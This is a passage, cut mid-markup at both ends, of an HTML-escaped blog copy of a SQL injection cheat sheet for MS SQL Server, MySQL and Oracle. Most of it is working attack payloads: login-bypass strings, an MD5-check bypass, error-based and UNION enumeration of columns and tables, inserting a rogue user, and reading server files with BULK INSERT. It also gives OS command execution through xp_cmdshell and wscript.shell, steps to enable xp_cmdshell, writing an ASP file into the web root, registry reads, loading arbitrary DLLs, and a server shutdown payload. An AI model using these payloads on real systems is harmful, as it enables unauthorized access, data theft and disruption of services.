10pt;"&gt;field&lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt; &lt;/span&gt;&lt;code&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;COLLATE&lt;/span&gt;&lt;/b&gt;&lt;/code&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/code&gt;&lt;span class="hilite"&gt;&lt;span style="font-size: 10pt;"&gt;SQL_Latin1_General_Cp1254_CS_AS&lt;/span&gt;&lt;/span&gt;      or some other valid one - &lt;i&gt;check out &lt;/i&gt;&lt;span class="hilite"&gt;&lt;i&gt;SQL&lt;/i&gt;&lt;/span&gt;&lt;i&gt;      Server documentation&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT header FROM news UNION ALL SELECT name      COLLATE &lt;/span&gt;&lt;/code&gt;&lt;span class="hilite"&gt;&lt;span style="font-size: 10pt;"&gt;SQL_Latin1_General_Cp1254_CS_AS&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; FROM members&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;span class="hilite"&gt;MySQL&lt;/span&gt; (M) &lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;Hex() &lt;/span&gt;&lt;/code&gt;&lt;span class="idea1"&gt;for every      possible issue&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;a href="http://www.blogger.com/post-create.do" name="ByPassingLoginScreens"&gt;&lt;/a&gt;Bypassing Login Screens (SMO+) &lt;/h3&gt;&lt;div class="MsoNormal"&gt;&lt;span class="hilite"&gt;&lt;i&gt;SQL&lt;/i&gt;&lt;/span&gt;&lt;i&gt; &lt;/i&gt;&lt;span class="hilite"&gt;&lt;i&gt;Injection&lt;/i&gt;&lt;/span&gt;&lt;i&gt; 101&lt;/i&gt;&lt;span class="idea1"&gt;, Login tricks &lt;/span&gt;&lt;/div&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;admin' -- &lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;admin' # &lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;admin'/*&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;' or 1=1--&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;' or 1=1#&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;' or 1=1/*&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;') or '1'='1--&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;') or ('1'='1--&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;....&lt;/li&gt;&lt;/ul&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;Login as different user (SM*) &lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;' UNION SELECT 1, 'anotheruser', 'doesnt matter',      1--&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;i&gt;*Old versions of &lt;/i&gt;&lt;span class="hilite"&gt;&lt;i&gt;MySQL&lt;/i&gt;&lt;/span&gt;&lt;i&gt; doesn't support union queries &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Bypassing second MD5 hash check login screens &lt;/h3&gt;&lt;div class="idea"&gt;If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database. &lt;/div&gt;&lt;h4&gt;&lt;a href="http://www.blogger.com/post-create.do" name="BypassingMD5Hash"&gt;&lt;/a&gt;Bypassing MD5 Hash Check Example (MSP) &lt;/h4&gt;&lt;span class="inputfield"&gt;Username :&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; admin&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;span class="inputfield"&gt;Password :&lt;/span&gt; &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234) &lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;h3&gt;&amp;nbsp;&lt;/h3&gt;&lt;h3&gt;Error Based - Find Columns Names &lt;/h3&gt;&lt;h4&gt;Finding Column Names with &lt;b&gt;HAVING BY&lt;/b&gt; - Error Based (S) &lt;/h4&gt;&lt;i&gt;In the same order, &lt;/i&gt;&lt;br /&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;'&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; HAVING 1=1 -- &lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;' GROUP BY &lt;/span&gt;&lt;/code&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;table.columnfromerror1&lt;/span&gt;&lt;/b&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; HAVING 1=1 -- &lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;' GROUP BY &lt;/span&gt;&lt;/code&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;table.columnfromerror1,      columnfromerror2&lt;/span&gt;&lt;/b&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;      HAVING 1=1 --&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;' GROUP BY &lt;/span&gt;&lt;/code&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;table.columnfromerror1,      columnfromerror2, columnfromerror(n) &lt;/span&gt;&lt;/b&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;HAVING 1=1 --&lt;/span&gt;&lt;/code&gt; &lt;i&gt;and so on&lt;/i&gt; &lt;/li&gt;&lt;li class="MsoNormal"&gt;If you are not getting any      more error then it's done.&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Finding how many columns in SELECT query by &lt;b&gt;ORDER BY&lt;/b&gt; &lt;b&gt;(MSO+)&lt;/b&gt;&lt;/h4&gt;Finding column number by ORDER BY can speed up the UNION &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injection&lt;/span&gt; process.&lt;br /&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;ORDER BY 1-- &lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;ORDER BY 2--&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;ORDER BY N--&lt;/span&gt;&lt;/code&gt; &lt;i&gt;so on&lt;/i&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;Keep going until get an      error. Error means you found the number of selected columns. &lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Data types, UNION, etc. &lt;/h3&gt;&lt;h4&gt;Hints,&lt;/h4&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;Always use &lt;b&gt;UNION&lt;/b&gt;      with &lt;b&gt;ALL &lt;/b&gt;because of &lt;b&gt;image&lt;/b&gt; similiar      non-distinct field types. By default union tries to get records with      distinct. &lt;/li&gt;&lt;li class="MsoNormal"&gt;To get rid of unrequired      records from left table use -1 or any not exist record search in the      beginning of query (&lt;i&gt;if &lt;/i&gt;&lt;span class="hilite"&gt;&lt;i&gt;injection&lt;/i&gt;&lt;/span&gt;&lt;i&gt;      is in WHERE&lt;/i&gt;). This can be critical if you are only getting one result      at a time. &lt;/li&gt;&lt;li class="MsoNormal"&gt;Use NULL in UNION &lt;span class="hilite"&gt;injections&lt;/span&gt; for most data type instead of trying to      guess string, date, integer etc. &lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal"&gt;Be careful in Blind       situtaions may you can understand error is coming from DB or application       itself. Because languages like ASP.NET generally throws errors while       trying to use NULL values (&lt;i&gt;because normally developers are not       expecting to see NULL in a username field&lt;/i&gt;) &lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;h4&gt;Finding Column Type &lt;/h4&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;&amp;nbsp;' union select &lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;sum(&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;columntofind&lt;/span&gt;&lt;/b&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; from &lt;/span&gt;&lt;/code&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;users&lt;/span&gt;&lt;/b&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;--&lt;/span&gt;&lt;/code&gt; (S) &lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;Microsoft OLE DB Provider for ODBC      Drivers error '80040e07' &lt;/span&gt;&lt;/code&gt;&lt;span style="font-size: 10pt;"&gt;&lt;br /&gt;&lt;code&gt;[Microsoft][ODBC &lt;/code&gt;&lt;span class="hilite"&gt;SQL&lt;/span&gt;&lt;code&gt; Server      Driver][&lt;/code&gt;&lt;span class="hilite"&gt;SQL&lt;/span&gt;&lt;code&gt; Server]The sum or      average aggregate operation cannot take a &lt;/code&gt;&lt;b&gt;varchar&lt;/b&gt;&lt;code&gt; data type      as an argument.&lt;/code&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;If you are not getting error it means &lt;/i&gt;column is numeric. &lt;/li&gt;&lt;li class="MsoNormal"&gt;Also you can use &lt;span class="hi"&gt;CAST()&lt;/span&gt; or &lt;span class="hi"&gt;CONVERT()&lt;/span&gt; &lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT * FROM Table1 WHERE id = -1 UNION ALL       SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL,       NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE      1=2 –-&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;No Error - Syntax is right. MS &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server Used.      Proceeding.&lt;/li&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2      –-&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;No Error – First column is an integer.&lt;/li&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --      &lt;/span&gt;&lt;/code&gt;&lt;br /&gt;Error! – Second column is not an integer.&lt;/li&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2      –-&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;No Error – Second column is a string.&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;Error! – Third column is not an integer. ...&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;Microsoft OLE DB Provider for &lt;/span&gt;&lt;/code&gt;&lt;span class="hilite"&gt;&lt;span style="font-size: 10pt;"&gt;SQL&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; Server error '80040e07' &lt;/span&gt;&lt;/code&gt;&lt;span style="font-size: 10pt;"&gt;&lt;br /&gt;&lt;code&gt;Explicit conversion from data type &lt;/code&gt;&lt;b&gt;int&lt;/b&gt;&lt;span class="hi"&gt; to      image&lt;/span&gt;&lt;code&gt; is not allowed.&lt;/code&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;You’ll get convert() errors before union target errors ! &lt;/b&gt;So&lt;b&gt; &lt;/b&gt;start with&lt;b&gt; &lt;/b&gt;convert() then union&lt;br /&gt;&lt;h3&gt;Simple Insert (MSO+) &lt;/h3&gt;&lt;div class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*&lt;/span&gt;&lt;/code&gt; &lt;/div&gt;&lt;h3&gt;Useful Function / Information Gathering / Stored Procedures / Bulk &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injection&lt;/span&gt; Notes&lt;/h3&gt;&lt;b&gt;@@version&lt;/b&gt; (MS) &lt;br /&gt;Version of database and more details for &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions. &lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;INSERT INTO members(id, user, pass) VALUES(1, ''+&lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;SUBSTRING(@@version,1,10)&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; ,10)&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;h4&gt;&lt;a href="http://www.blogger.com/post-create.do" name="BulkInsert"&gt;&lt;/a&gt;Bulk Insert (S) &lt;/h4&gt;Insert a file content to a table. If you don't know internal path of web application you can &lt;b&gt;read IIS (&lt;/b&gt;&lt;i&gt;IIS 6 only&lt;/i&gt;&lt;b&gt;) metabase file &lt;/b&gt;(&lt;i&gt;%systemroot%\system32\inetsrv\MetaBase.xml&lt;/i&gt;) and then search in it to identify application path. &lt;br /&gt;&lt;ol start="1" type="1"&gt;&lt;ol start="1" type="1"&gt;&lt;li class="MsoNormal"&gt;Create table foo(       line varchar(8000) ) &lt;/li&gt;&lt;li class="MsoNormal"&gt;bulk insert foo from       'c:\inetpub\wwwroot\login.asp' &lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;i&gt;Drop temp table,       and repeat for another file. &lt;/i&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;h4&gt;BCP (S) &lt;/h4&gt;Write text file. Login Credentials are required to use this function. &lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar &lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;h4&gt;VBS, WSH in &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server (S) &lt;/h4&gt;You can use VBS, WSH scripting in &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server because of ActiveX support. &lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;declare @o int &lt;/span&gt;&lt;/code&gt;&lt;span style="font-size: 10pt;"&gt;&lt;br /&gt;&lt;code&gt;exec sp_oacreate 'wscript.shell', @o out &lt;/code&gt;&lt;br /&gt;&lt;code&gt;exec sp_oamethod @o, 'run', NULL, 'notepad.exe' &lt;/code&gt;&lt;br /&gt;&lt;i&gt;Username:&lt;/i&gt;&lt;code&gt; '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --&lt;/code&gt;&lt;/span&gt;&lt;br /&gt;&lt;h4&gt;Executing system commands, xp_cmdshell (S) &lt;/h4&gt;Well known trick, By default it's disabled in &lt;span class="hilite"&gt;&lt;i&gt;SQL&lt;/i&gt;&lt;/span&gt;&lt;i&gt; Server 2005. &lt;/i&gt;You need to have admin access. &lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;Simple ping check (&lt;i&gt;configure your firewall or sniffer to identify request before launch it&lt;/i&gt;), &lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;EXEC master.dbo.xp_cmdshell 'ping &lt;ip address=""&gt;'&lt;/ip&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;You can not read results directly from error or union or something else. &lt;br /&gt;&lt;h4&gt;Some Special Tables in &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server (S) &lt;/h4&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;Error Messages &lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;master..sysmessages &lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;Linked Servers&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;master..sysservers&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;Password (&lt;i&gt;2000 and      20005 both can be crackable, they use very similar hashing algorithm &lt;/i&gt;)      &lt;br /&gt;&lt;span class="hilite"&gt;SQL&lt;/span&gt; Server 2000:&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; masters..sysxlogins&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;span class="hilite"&gt;SQL&lt;/span&gt; Server 2005 : &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;sys.&lt;/span&gt;&lt;/code&gt;&lt;span class="hilite"&gt;&lt;span style="font-size: 10pt;"&gt;sql_logins&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;More Stored Procedures for &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server (S) &lt;/h4&gt;&lt;ol start="1" type="1"&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;Cmd Execute (&lt;b&gt;xp_cmdshell&lt;/b&gt;)&lt;br /&gt;exec master..xp_cmdshell 'dir' &lt;/li&gt;&lt;li class="MsoNormal"&gt;Registry Stuff (&lt;b&gt;xp_regread&lt;/b&gt;)&lt;/li&gt;&lt;ol start="1" type="1"&gt;&lt;li class="MsoNormal"&gt;xp_regaddmultistring       &lt;/li&gt;&lt;li class="MsoNormal"&gt;xp_regdeletekey &lt;/li&gt;&lt;li class="MsoNormal"&gt;xp_regdeletevalue &lt;/li&gt;&lt;li class="MsoNormal"&gt;xp_regenumkeys &lt;/li&gt;&lt;li class="MsoNormal"&gt;xp_regenumvalues &lt;/li&gt;&lt;li class="MsoNormal"&gt;xp_regread &lt;/li&gt;&lt;li class="MsoNormal"&gt;xp_regremovemultistring       &lt;/li&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;xp_regwrite &lt;br /&gt;exec xp_regread HKEY_LOCAL_MACHINE,       'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',       'nullsessionshares' &lt;br /&gt;exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'       &lt;/li&gt;&lt;/ol&gt;&lt;li class="MsoNormal"&gt;Managing Services (&lt;b&gt;xp_servicecontrol&lt;/b&gt;)&lt;/li&gt;&lt;li class="MsoNormal"&gt;Medias (&lt;b&gt;xp_availablemedia&lt;/b&gt;)&lt;/li&gt;&lt;li class="MsoNormal"&gt;ODBC Resources (&lt;b&gt;xp_enumdsn&lt;/b&gt;)&lt;/li&gt;&lt;li class="MsoNormal"&gt;Login mode (&lt;b&gt;xp_loginconfig&lt;/b&gt;)&lt;/li&gt;&lt;li class="MsoNormal"&gt;Creating Cab Files (&lt;b&gt;xp_makecab&lt;/b&gt;)&lt;/li&gt;&lt;li class="MsoNormal"&gt;Domain Enumeration (&lt;b&gt;xp_ntsec_enumdomains&lt;/b&gt;)&lt;/li&gt;&lt;li class="MsoNormal"&gt;Process Killing (&lt;i&gt;need      PID&lt;/i&gt;) (&lt;b&gt;xp_terminate_process&lt;/b&gt;)&lt;/li&gt;&lt;li class="MsoNormal"&gt;Add new procedure (&lt;i&gt;virtually      you can execute whatever you want&lt;/i&gt;)&lt;br /&gt;sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’&lt;br /&gt;exec xp_webserver&lt;/li&gt;&lt;li class="MsoNormal"&gt;Write text file to a UNC or      an internal path (sp_makewebtask)&lt;/li&gt;&lt;/ol&gt;&lt;h4&gt;&lt;span class="hilite"&gt;MSSQL&lt;/span&gt; Bulk Notes &lt;/h4&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/ &lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;HOST_NAME()&lt;br /&gt;IS_MEMBER (Transact-&lt;span class="hilite"&gt;SQL&lt;/span&gt;)&lt;br /&gt;IS_SRVROLEMEMBER (Transact-&lt;span class="hilite"&gt;SQL&lt;/span&gt;)&lt;br /&gt;OPENDATASOURCE (Transact-&lt;span class="hilite"&gt;SQL&lt;/span&gt;)&lt;br /&gt;&lt;pre&gt;INSERT tbl EXEC master..xp_cmdshell &lt;span class="hilite"&gt;OSQL&lt;/span&gt; /Q"DBCC SHOWCONTIG"&lt;/pre&gt;OPENROWSET (Transact-&lt;span class="hilite"&gt;SQL&lt;/span&gt;)&amp;nbsp; - &lt;a href="http://msdn2.microsoft.com/en-us/library/ms190312.aspx"&gt;http://msdn2.microsoft.com/en-us/library/ms190312.aspx&lt;/a&gt;&lt;br /&gt;You can not use sub selects in &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server Insert queries.&lt;br /&gt;&lt;h4&gt;&lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injection&lt;/span&gt; in LIMIT (M) or ORDER (MSO)&lt;/h4&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;If &lt;span class="hilite"&gt;injection&lt;/span&gt; is in second &lt;i&gt;limit&lt;/i&gt; you can comment it out or use in your union &lt;span class="hilite"&gt;injection&lt;/span&gt; &lt;br /&gt;&lt;h4&gt;Shutdown &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server (S)&lt;/h4&gt;When you really pissed off, &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;';shutdown -- &lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;h3&gt;&lt;a href="http://www.blogger.com/post-create.do" name="Enablecmdshell"&gt;&lt;/a&gt;Enabling xp_cmdshell in &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server 2005 &lt;/h3&gt;&lt;div class="idea"&gt;By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server 2005. If you have admin access then you can enable these.&lt;/div&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;EXEC sp_configure 'show advanced options',1&lt;/span&gt;&lt;/code&gt;&lt;span style="font-size: 10pt;"&gt;&lt;br /&gt;&lt;code&gt;RECONFIGURE&lt;/code&gt;&lt;/span&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;EXEC sp_configure 'xp_cmdshell',1&lt;/span&gt;&lt;/code&gt;&lt;span style="font-size: 10pt;"&gt;&lt;br /&gt;&lt;code&gt;RECONFIGURE&lt;/code&gt;&lt;/span&gt;&lt;br /&gt;&lt;h3&gt;Finding Database Structure in &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server (S) &lt;/h3&gt;&lt;h4&gt;Getting User defined Tables&lt;/h4&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT name FROM sysobjects WHERE xtype = 'U'&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;h4&gt;Getting Column Names&lt;/h4&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;h3&gt;Moving records (S)&lt;/h3&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;Modify WHERE and use &lt;code&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;NOT IN&lt;/span&gt;&lt;/b&gt;&lt;/code&gt; or &lt;code&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;NOT EXIST&lt;/span&gt;&lt;/b&gt;&lt;/code&gt;,&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;... WHERE users NOT IN ('First User',      'Second User')&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT TOP 1 name FROM members WHERE      NOT EXIST(SELECT TOP 0 name FROM members)&lt;/span&gt;&lt;/code&gt; &lt;i&gt;-- very good      one&lt;/i&gt; &lt;/li&gt;&lt;li class="MsoNormal"&gt;Using Dirty Tricks&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT * FROM Product WHERE ID=2 AND      1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM      sysobjects i WHERE i.id&amp;lt;=o.id) AS x, name from sysobjects o) as p where      p.x=3) as int &lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;span style="font-size: 10pt;"&gt;&lt;br /&gt;&lt;code&gt;Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM      sysobjects i WHERE xtype='U' and i.id&amp;lt;=o.id) AS x, name from sysobjects      o WHERE o.xtype = 'U') as p where p.x=21&lt;/code&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&amp;nbsp; &lt;br /&gt;&lt;h3&gt;Fast way to extract data from Error Based &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injections&lt;/span&gt; in &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server (S)&lt;/h3&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name&amp;gt;@rd SELECT @rd AS rd into TMP_SYS_TMP end;--&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;a href="http://ferruh.mavituna.com/makale/fast-way-to-extract-data-from-error-based-sql-injections/"&gt;&lt;span class="hilite"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;h2&gt;Blind &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injections&lt;/span&gt; &lt;/h2&gt;&lt;h3&gt;About Blind &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injections&lt;/span&gt; &lt;/h3&gt;&lt;div class="idea"&gt;In a quite good production application generally &lt;b&gt;you can not see error responses on the page&lt;/b&gt;, so you can not extract data through Union attacks or error based attacks. You have to do use Blind &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injections&lt;/span&gt; attacks to extract data. There are two kind of Blind &lt;span class="hilite"&gt;Sql&lt;/span&gt; &lt;span class="hilite"&gt;Injections&lt;/span&gt;. &lt;/div&gt;&lt;div 